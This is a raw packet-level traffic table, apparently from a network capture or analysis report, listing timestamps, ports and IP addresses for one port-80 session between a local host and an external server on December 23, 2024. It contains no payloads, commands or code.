Dec 23, 2024 08:04:14.646291971 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.647087097 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.647099018 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.647918940 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.648756981 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.648772955 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.648870945 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.648870945 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.648870945 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.648884058 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.649693012 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.649709940 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.650594950 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.650613070 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.651423931 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.651437998 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.652286053 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.652308941 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.653012037 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.653887987 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.653904915 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.654741049 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.654762983 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.654834032 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.654834032 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.654834032 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.654834032 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.654834032 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.654834032 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.654845953 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.654870033 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.655635118 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.655653954 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.656574965 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.656599045 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.657301903 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.657321930 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.657835960 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.657835960 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.657835960 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.658253908 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.658272028 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.659068108 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.659087896 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.659966946 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.659989119 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.660794973 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.660815001 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.660845995 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.660845995 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.660845995 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.660845995 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.660883904 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.661689043 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.661703110 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.662452936 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.662466049 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.663350105 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.663362980 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.664196968 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.664211988 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.664773941 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.664773941 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.664773941 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.664773941 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.665039062 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.665051937 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.665368080 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.666858912 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.716243029 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.858489037 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.881849051 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.978332043 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.978353977 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.978661060 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.978676081 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:14.978828907 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:14.978828907 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.001497030 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.001516104 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.001766920 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.002218008 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.002234936 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.002458096 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.002803087 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.002820969 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.003030062 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.003643036 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.003659010 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.003842115 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.004492998 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.004509926 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.004726887 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.005335093 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.005350113 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.005415916 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.006437063 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.006453991 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.006664038 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.007081985 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.007097006 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.007191896 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.007929087 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.007944107 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.008179903 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.008826017 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.009156942 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.009502888 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.009576082 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.009660006 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.009740114 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.010447979 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.010678053 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.010715961 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.011388063 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.011404991 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.011467934 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.012219906 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.012237072 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.012470007 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.013031006 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.013046980 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.013303041 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.013793945 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.013915062 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.014033079 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.014741898 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.014760017 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.014962912 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.015603065 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.015628099 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.015721083 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.016433001 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.016448975 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.016597033 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.017258883 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.017429113 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.017517090 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.018119097 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.018146038 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.018610001 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.018939018 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.019045115 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.019164085 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.019741058 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.020123005 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.020713091 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.020730019 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.020804882 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.020908117 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.021666050 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.021683931 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.021905899 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.022013903 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.022542953 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.023123980 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.023175001 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.023363113 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.023452997 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.024363041 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.024383068 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.024413109 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.025207996 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.025223970 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.025276899 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.026048899 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.026065111 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.026288033 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.026910067 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.026926041 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.027371883 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.027760029 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.027775049 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.028425932 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.028883934 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.028902054 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.029443979 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.029462099 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.029489040 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.030246973 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.030263901 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.030313969 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.030313969 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.031100035 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.031188965 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.031337023 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.031899929 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.032731056 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.032761097 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.032780886 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.032896042 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.032898903 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.033850908 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.033869028 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.034356117 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.034640074 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.034656048 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.034871101 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.035468102 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.035482883 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.035861015 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.036274910 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.036880970 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.036895990 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.037014961 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.037106991 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.037333965 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.037986994 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.038002014 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.038060904 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.038753986 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.038979053 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.038985014 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.039666891 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.039684057 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.039932966 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.040560961 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.040579081 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.040801048 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.041389942 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.041407108 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.041439056 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.042246103 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.042263985 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.042469025 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.043100119 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.043114901 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.043250084 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.043857098 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.043977022 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.044235945 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.044816017 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.044831991 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.044918060 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.045540094 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.045905113 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.046158075 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.046510935 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.046528101 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.046757936 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.047301054 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.047353029 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.047369957 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.048240900 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.048258066 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.048476934 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.049036980 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.049072027 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.049240112 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.049870014 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.050157070 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.050249100 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.050724030 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.050795078 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.050813913 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.051557064 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.051636934 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.051841974 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.052428007 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.052474976 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.052588940 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.053328991 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.053343058 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.053406954 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.054205894 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.054219007 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.054497004 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.055056095 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.055068970 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.055814981 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.055852890 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.055877924 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.056763887 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.056777000 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.057070017 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.057620049 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.057634115 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.058476925 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.058490038 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.058895111 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.059309006 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.059329987 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.059351921 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.060178995 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.060193062 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.060921907 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.060945988 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.061779976 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.061791897 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.062609911 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.062622070 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.063340902 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.063340902 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.063353062 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.063502073 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.064143896 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.064188957 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.064424992 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.064439058 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.064481020 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.065346956 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.065363884 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.065579891 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.066262960 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.066282034 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.066521883 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.066988945 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.067003965 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.067101955 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.067876101 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.067893028 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.068701029 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.069040060 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.069075108 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.069546938 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.069564104 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.070348024 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.070369959 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.070559025 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.070559025 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.071269035 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.071288109 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.071407080 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.072056055 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.072299957 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.072503090 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.072985888 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.073004007 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.073333979 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.073817015 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.073834896 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.074394941 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.074695110 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.074712038 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.074778080 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.075872898 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.075889111 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.076131105 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.076406002 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.076419115 CET	80	49716	185.215.113.16	192.168.2.8
